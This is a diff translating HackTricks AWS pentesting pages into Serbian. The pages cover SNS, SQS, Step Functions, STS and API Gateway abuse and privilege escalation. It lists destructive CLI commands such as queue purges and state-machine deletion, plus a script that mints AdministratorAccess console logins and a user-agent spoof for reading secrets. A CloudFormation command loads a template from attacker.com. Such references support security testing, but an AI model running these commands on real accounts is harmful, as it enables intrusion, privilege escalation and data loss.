An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic.
|
||||
|
||||
Napadač bi mogao da dodeli neovlašćenim korisnicima ili servisima pristup SNS temi, ili da opozove dozvole za legitimne korisnike, uzrokujući prekide u normalnom funkcionisanju aplikacija koje se oslanjaju na temu.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Potencijalni uticaj**: Neovlašćen pristup temi, izlaganje poruka ili manipulacija temom od strane neovlašćenih korisnika ili usluga, ometanje normalnog funkcionisanja aplikacija koje se oslanjaju na temu.
|
||||
|
||||
**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
|
||||
An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
### `sns:TagResource`, `sns:UntagResource`
|
||||
|
||||
Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa SNS resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
|
||||
```bash
|
||||
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**Potencijalni uticaj**: Poremećaj u alokaciji troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na oznakama.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
@@ -12,80 +12,62 @@ For more information check:
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources.
|
||||
|
||||
Napadač može poslati zlonamerne ili neželjene poruke u SQS red, što može dovesti do oštećenja podataka, pokretanja nepredviđenih akcija ili iscrpljivanja resursa.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion.
|
||||
**Potencijalni uticaj**: Iskorišćavanje ranjivosti, oštećenje podataka, nepredviđene radnje ili iscrpljivanje resursa.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages.
|
||||
|
||||
Napadač bi mogao da primi, obriše ili izmeni vidljivost poruka u SQS redu, uzrokujući gubitak poruka, oštećenje podataka ili prekid usluge za aplikacije koje se oslanjaju na te poruke.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages.
|
||||
**Potencijalni uticaj**: Ukrasti osetljive informacije, gubitak poruka, oštećenje podataka i prekid usluge za aplikacije koje se oslanjaju na pogođene poruke.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue.
|
||||
|
||||
Napadač bi mogao da obriše celu SQS red, uzrokujući gubitak poruka i utičući na aplikacije koje se oslanjaju na red.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Message loss and service disruption for applications using the deleted queue.
|
||||
**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje koriste obrisanu red.
|
||||
|
||||
### `sqs:PurgeQueue`
|
||||
|
||||
An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages.
|
||||
|
||||
Napadač bi mogao da očisti sve poruke iz SQS reda, što bi dovelo do gubitka poruka i potencijalnog prekida aplikacija koje se oslanjaju na te poruke.
|
||||
```arduino
|
||||
Copy codeaws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Message loss and service disruption for applications relying on the purged messages.
|
||||
**Potencijalni uticaj**: Gubitak poruka i prekid usluge za aplikacije koje se oslanjaju na obrisane poruke.
|
||||
|
||||
### `sqs:SetQueueAttributes`
|
||||
|
||||
An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability.
|
||||
|
||||
Napadač bi mogao da izmeni atribute SQS reda, potencijalno utičući na njegovu performansu, bezbednost ili dostupnost.
|
||||
```arduino
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability.
|
||||
**Potencijalni uticaj**: Loše konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjene dostupnosti.
|
||||
|
||||
### `sqs:TagQueue` , `sqs:UntagQueue`
|
||||
|
||||
An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
Napadač bi mogao da doda, izmeni ili ukloni oznake sa SQS resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
|
||||
```bash
|
||||
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
|
||||
aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
|
||||
|
||||
### `sqs:RemovePermission`
|
||||
|
||||
An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue.
|
||||
|
||||
Napadač bi mogao da opozove dozvole za legitimne korisnike ili usluge uklanjanjem politika povezanih sa SQS redom. To bi moglo dovesti do poremećaja u normalnom funkcionisanju aplikacija koje se oslanjaju na red.
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions.
|
||||
**Potencijalni uticaj**: Poremećaj normalnog funkcionisanja aplikacija koje se oslanjaju na red zbog neovlašćenog uklanjanja dozvola.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SSO & identitystore
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information check:
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
|
||||
These permissions can be used to disrupt permissions:
|
||||
|
||||
Ove dozvole se mogu koristiti za ometanje dozvola:
|
||||
```bash
|
||||
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
|
||||
@@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
|
||||
|
||||
aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
For more information about this AWS service, check:
|
||||
Za više informacija o ovoj AWS usluzi, proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,20 +12,19 @@ For more information about this AWS service, check:
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true.
|
||||
Ova dozvola omogućava **otkrivanje tajnih podataka unutar izvršenja**. Za to je potrebno postaviti nivo inspekcije na TRACE i parametar revealSecrets na true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.
|
||||
Napadač sa ovim dozvolama bi mogao trajno da obriše mašine stanja, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih mašina stanja. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem bitnih automatizovanih procesa i konfiguracija stanja.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Deleting a state machine you also delete all its associated versions and aliases.
|
||||
> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
|
||||
> - It is not possible to delete a state machine version currently referenced by one o more aliases.
|
||||
|
||||
> - Brisanjem mašine stanja takođe brišete sve njene povezane verzije i alias-e.
|
||||
> - Brisanjem alias-a mašine stanja ne brišete verzije mašine stanja koje se odnose na ovaj alias.
|
||||
> - Nije moguće obrisati verziju mašine stanja koja je trenutno referencirana od strane jednog ili više alias-a.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
@@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
|
||||
- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime.
|
||||
- **Potencijalni Uticaj**: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno zastoja.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run-a i paralelnim podešavanjima, imajući mogućnost da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, što direktno utiče na performanse usluge. Pored toga, napadač bi mogao da manipuliše tolerisanim procentom neuspeha i brojem, imajući mogućnost da smanji ovu vrednost na 0, tako da svaki put kada stavka ne uspe, ceo map run bi neuspeo, što direktno utiče na izvršenje mašine stanja i potencijalno ometa kritične radne tokove.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
|
||||
- **Potential Impact**: Performance degradation, and disruption of critical workflows.
|
||||
- **Potencijalni uticaj**: Smanjenje performansi i prekid kritičnih radnih tokova.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.
|
||||
Napadač sa ovom dozvolom mogao bi da zaustavi izvršenje bilo koje mašine stanja, ometajući tekuće radne tokove i procese. To bi moglo dovesti do nepotpunih transakcija, obustavljenih poslovnih operacija i potencijalne korupcije podataka.
|
||||
|
||||
> [!WARNING]
|
||||
> This action is not supported by **express state machines**.
|
||||
|
||||
> Ova akcija nije podržana od strane **express state machines**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
|
||||
- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption.
|
||||
- **Potencijalni uticaj**: Poremećaj tekućih radnih tokova, operativno vreme zastoja i potencijalna korupcija podataka.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
Napadač bi mogao da doda, izmeni ili ukloni oznake sa resursa Step Functions, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**Potencijalni uticaj**: Poremećaj u alokaciji troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na oznakama.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,21 +4,20 @@
|
||||
|
||||
## STS
|
||||
|
||||
For more information:
|
||||
Za više informacija:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### From IAM Creds to Console
|
||||
### Od IAM kredencijala do konzole
|
||||
|
||||
If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\
|
||||
Note that the the user/role must have the permission **`sts:GetFederationToken`**.
|
||||
Ako ste uspeli da dobijete neke IAM kredencijale, možda ćete biti zainteresovani za **pristup web konzoli** koristeći sledeće alate.\
|
||||
Napomena: korisnik/rola mora imati dozvolu **`sts:GetFederationToken`**.
|
||||
|
||||
#### Custom script
|
||||
|
||||
The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console:
|
||||
#### Prilagođeni skript
|
||||
|
||||
Sledeći skript će koristiti podrazumevani profil i podrazumevanu AWS lokaciju (ne gov i ne cn) da vam da potpisanu URL adresu koju možete koristiti za prijavu u web konzolu:
|
||||
```bash
|
||||
# Get federated creds (you must indicate a policy or they won't have any perms)
|
||||
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
||||
@@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no
|
||||
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)
|
||||
|
||||
if [ $? -ne 0 ]; then
|
||||
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
|
||||
exit $status
|
||||
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
|
||||
exit $status
|
||||
fi
|
||||
|
||||
# Parse the output
|
||||
@@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation"
|
||||
|
||||
# Make the HTTP request to get the sign-in token
|
||||
resp=$(curl -s "$federation_endpoint" \
|
||||
--get \
|
||||
--data-urlencode "Action=getSigninToken" \
|
||||
--data-urlencode "SessionDuration=43200" \
|
||||
--data-urlencode "Session=$json_creds"
|
||||
--get \
|
||||
--data-urlencode "Action=getSigninToken" \
|
||||
--data-urlencode "SessionDuration=43200" \
|
||||
--data-urlencode "Session=$json_creds"
|
||||
)
|
||||
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
|
||||
@@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
# Give the URL to login
|
||||
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
|
||||
```
|
||||
|
||||
#### aws_consoler
|
||||
|
||||
You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
|
||||
Možete **generisati link za web konzolu** sa [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
```bash
|
||||
cd /tmp
|
||||
python3 -m venv env
|
||||
@@ -67,27 +64,23 @@ source ./env/bin/activate
|
||||
pip install aws-consoler
|
||||
aws_consoler [params...] #This will generate a link to login into the console
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume.
|
||||
> Osigurajte da IAM korisnik ima `sts:GetFederationToken` dozvolu, ili obezbedite ulogu koju treba preuzeti.
|
||||
|
||||
#### aws-vault
|
||||
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment.
|
||||
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) je alat za sigurno čuvanje i pristup AWS akreditivima u razvojnog okruženju.
|
||||
```bash
|
||||
aws-vault list
|
||||
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
||||
aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> You can also use **aws-vault** to obtain an **browser console session**
|
||||
> Možete takođe koristiti **aws-vault** da dobijete **sesiju konzole pretraživača**
|
||||
|
||||
### **Bypass User-Agent restrictions from Python**
|
||||
|
||||
If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:
|
||||
### **Obilaženje ograničenja User-Agent iz Pythona**
|
||||
|
||||
Ako postoji **ograničenje za izvođenje određenih akcija na osnovu korisničkog agenta** koji se koristi (kao što je ograničavanje korišćenja python boto3 biblioteke na osnovu korisničkog agenta), moguće je koristiti prethodnu tehniku da **povežete se na web konzolu putem pretraživača**, ili možete direktno **modifikovati boto3 korisnički agent** tako što ćete uraditi:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
@@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda
|
||||
# Perform the action
|
||||
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,14 +4,10 @@
|
||||
|
||||
## VPN
|
||||
|
||||
For more information:
|
||||
Za više informacija:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,23 @@
|
||||
# AWS - Privilege Escalation
|
||||
# AWS - Eskalacija privilegija
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AWS Privilege Escalation
|
||||
## AWS Eskalacija privilegija
|
||||
|
||||
The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization.
|
||||
Način da eskalirate svoje privilegije u AWS-u je da imate dovoljno dozvola da, na neki način, pristupite privilegijama drugih uloga/korisnika/grupa. Povezivanje eskalacija dok ne dobijete administratorski pristup organizaciji.
|
||||
|
||||
> [!WARNING]
|
||||
> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**.
|
||||
> AWS ima **stotine** (ako ne i hiljade) **dozvola** koje entitet može dobiti. U ovoj knjizi možete pronaći **sve dozvole koje znam** koje možete zloupotrebiti da **eskalirate privilegije**, ali ako **znate neki put** koji ovde nije pomenut, **molim vas podelite**.
|
||||
|
||||
> [!CAUTION]
|
||||
> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\
|
||||
> So remember that this is another way to **grant privileged permissions** to a principal.
|
||||
> Ako IAM politika ima `"Effect": "Allow"` i `"NotAction": "Someaction"` koja ukazuje na **resurs**... to znači da **dozvoljeni subjekt** ima **dozvolu da radi BILO ŠTA osim te specificirane akcije**.\
|
||||
> Zato zapamtite da je ovo još jedan način da **dodelite privilegovane dozvole** subjektu.
|
||||
|
||||
**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.**
|
||||
**Stranice ovog odeljka su raspoređene po AWS usluzi. Tamo ćete moći da pronađete dozvole koje će vam omogućiti da eskalirate privilegije.**
|
||||
|
||||
## Tools
|
||||
## Alati
|
||||
|
||||
- [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py)
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Apigateway
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,44 +12,37 @@ For more information check:
|
||||
|
||||
### `apigateway:POST`
|
||||
|
||||
With this permission you can generate API keys of the APIs configured (per region).
|
||||
|
||||
Sa ovom dozvolom možete generisati API ključeve za API-jeve koji su konfigurisani (po regionu).
|
||||
```bash
|
||||
aws --region <region> apigateway create-api-key
|
||||
```
|
||||
|
||||
**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info.
|
||||
**Potencijalni uticaj:** Ne možete privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
|
||||
|
||||
### `apigateway:GET`
|
||||
|
||||
With this permission you can get generated API keys of the APIs configured (per region).
|
||||
|
||||
Sa ovom dozvolom možete dobiti generisane API ključeve API-ja koji su konfigurisani (po regionu).
|
||||
```bash
|
||||
aws --region <region> apigateway get-api-keys
|
||||
aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
```
|
||||
|
||||
**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info.
|
||||
**Potencijalni Uticaj:** Ne možete privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda).
|
||||
|
||||
Sa ovim dozvolama moguće je modifikovati politiku resursa API-ja kako biste sebi omogućili pristup pozivanju i zloupotrebi potencijalnog pristupa koji API gateway može imati (kao što je pozivanje ranjivog lambda).
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
```
|
||||
|
||||
**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info.
|
||||
**Potencijalni Uticaj:** Obično nećete moći da privesc direktno ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
|
||||
An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**.
|
||||
> [!NAPOMENA]
|
||||
> Potrebno testiranje
|
||||
|
||||
Napadač sa dozvolama `apigateway:PutIntegration`, `apigateway:CreateDeployment` i `iam:PassRole` može **dodati novu integraciju postojećem API Gateway REST API-ju sa Lambda funkcijom koja ima pridruženu IAM ulogu**. Napadač može zatim **pokrenuti Lambda funkciju da izvrši proizvoljan kod i potencijalno dobije pristup resursima povezanim sa IAM ulogom**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Access to resources associated with the Lambda function's IAM role.
|
||||
**Potencijalni uticaj**: Pristup resursima povezanim sa IAM ulogom Lambda funkcije.
|
||||
|
||||
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made.
|
||||
> [!NAPOMENA]
|
||||
> Potrebno testiranje
|
||||
|
||||
Napadač sa dozvolama `apigateway:UpdateAuthorizer` i `apigateway:CreateDeployment` može **modifikovati postojeći API Gateway autorizator** kako bi zaobišao bezbednosne provere ili izvršio proizvoljan kod kada se izvrše API zahtevi.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
AUTHORIZER_ID="your-authorizer-id"
|
||||
@@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Bypassing security checks, unauthorized access to API resources.
|
||||
**Potencijalni Uticaj**: Obilaženje bezbednosnih provera, neovlašćen pristup API resursima.
|
||||
|
||||
### `apigateway:UpdateVpcLink`
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
|
||||
An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**.
|
||||
> [!NAPOMENA]
|
||||
> Potrebno testiranje
|
||||
|
||||
Napadač sa dozvolom `apigateway:UpdateVpcLink` može **modifikovati postojeći VPC Link da usmeri na drugi Network Load Balancer, potencijalno preusmeravajući privatni API saobraćaj na neovlašćene ili zlonamerne resurse**.
|
||||
```bash
|
||||
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
|
||||
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
|
||||
@@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
|
||||
# Update the VPC Link
|
||||
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic.
|
||||
**Potencijalni uticaj**: Neovlašćen pristup privatnim API resursima, presretanje ili ometanje API saobraćaja.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -7,7 +7,3 @@
|
||||
TODO
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudformation
|
||||
|
||||
For more information about cloudformation check:
|
||||
Za više informacija o cloudformation pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
@@ -12,111 +12,99 @@ For more information about cloudformation check:
|
||||
|
||||
### `iam:PassRole`, `cloudformation:CreateStack`
|
||||
|
||||
An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:**
|
||||
|
||||
Napadač sa ovim dozvolama **može eskalirati privilegije** kreiranjem **CloudFormation steka** sa prilagođenim šablonom, hostovanim na njihovom serveru, da **izvrši akcije pod dozvolama određenog uloga:**
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name <stack-name> \
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
--role-arn <arn-role>
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
--role-arn <arn-role>
|
||||
```
|
||||
|
||||
In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**:
|
||||
Na sledećoj stranici imate **primer eksploatacije** sa dodatnom dozvolom **`cloudformation:DescribeStacks`**:
|
||||
|
||||
{{#ref}}
|
||||
